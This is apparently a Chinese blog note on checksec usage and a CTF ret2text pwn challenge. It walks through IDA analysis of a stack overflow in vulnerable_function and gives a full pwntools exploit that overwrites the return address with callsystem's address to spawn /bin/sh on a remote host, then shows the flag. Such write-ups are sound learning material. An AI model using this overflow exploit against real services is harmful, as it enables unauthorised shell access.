有点不大明白,之前checksec直接checksec filename就可以,现在变了样,索性就再记一记(参考checksec安装与使用)这个里面结尾有点意思:pwn题到手,checksec一下,file一下,nc一下,IDA一下
sudo apt install checksec
我用的是kali2022.1+阿里源,没有任何毛病
之前一直是这样用的,现在试了不行,就查了下
好像提示也够明显哈
checksec --file={file}
我这里试了下{file}可以是路径(包括相对路径和绝对路径),也可以直接是文件名
checksec --output=csv --file={file}
类型三 xml
checksec --output=xml --file={file}
类型四 json
checksec --output-json --file={file}
checksec结果在类型一第二个图,开了NX,栈中数据没有执行权限
运行一下,只有Hello,World
main函数打印Hello world,函数vulnerable_function返回一什么什么值
又返回一个read,又一个read
到头了,这个read上面有个system,char *command一个指针
不明白为啥这一块反编译不了,有个/bin/sh,函数名叫callsystem,就是获得系统权限,接着在Functions窗口找到它
回到vulnerable_function,发现80h表示十六进制的80,0x200表示十六进制200,buf可以出现栈溢出
这里的buf双击转到它所在的地址后有个提示:
Use data definition commands to create local variables and function arguments.
Two special fields " r" and " s" represent return address and saved registers.
frame size: 80; Saved regs: 8; Purge: 0
有道翻译过来是:
使用数据定义命令创建局部变量和函数参数。
两个特殊字段“r”和“s”表示返回地址和保存的寄存器。
帧大小:80;保存规则:8;清洗:0
r表示返回地址,也就是read函数结束后进行程序的下一步,让r被覆盖,编程上面说的callsystem的地址,就能拿到系统权限
from pwn import *
r = remote("111.200.241.244", 58035)
payload = b'a' * 0x88 + p64(0x00400596) #没有这个b会报错,在最后解释一下
r.recvuntil("Hello, Worldn")
r.sendline(payload)
r.interactive()
得到flag:cyberpeace{afa82389f551a1063d358e2bf8aaf399}
解释:b
b’a’表示bytes类型python中文文档types
python3新增的bytes类型,在python2中字节类型和字符类型区别不大,但是在python3中最重要的特性是对文本和二进制数据做了更加清晰的区分。python3不会以任意隐式方式混用字节型和字符型,也因此在python3中不能拼接字符串和字节包(python2中可以,会自动进行转换),也不能在字节包中搜索字符串,也不能将字符串传入参数为字节包的函数。需要注意的是,在网络数据传输过程中,python2可以通过字符串(string)方式传输,但是python3只能通过二进制(bytes)方式来传输,因此要对传输文本进行转换。
str->byte: ‘你好’.encode(‘utf-8’)
byte->str: b’xe4xbdxa0xe5xa5xbd’.decode(‘utf-8’)
encode,decode俩函数默认都是utf-8,所以,payload = b’a’ * 0x88 + p64(0x00400596),其实应该是 payload = ‘a’. *encode(‘utf-8’) 0x88 + p64(0x00400596)
原文在这
struct报错: argument for ‘s’ must be a bytes object



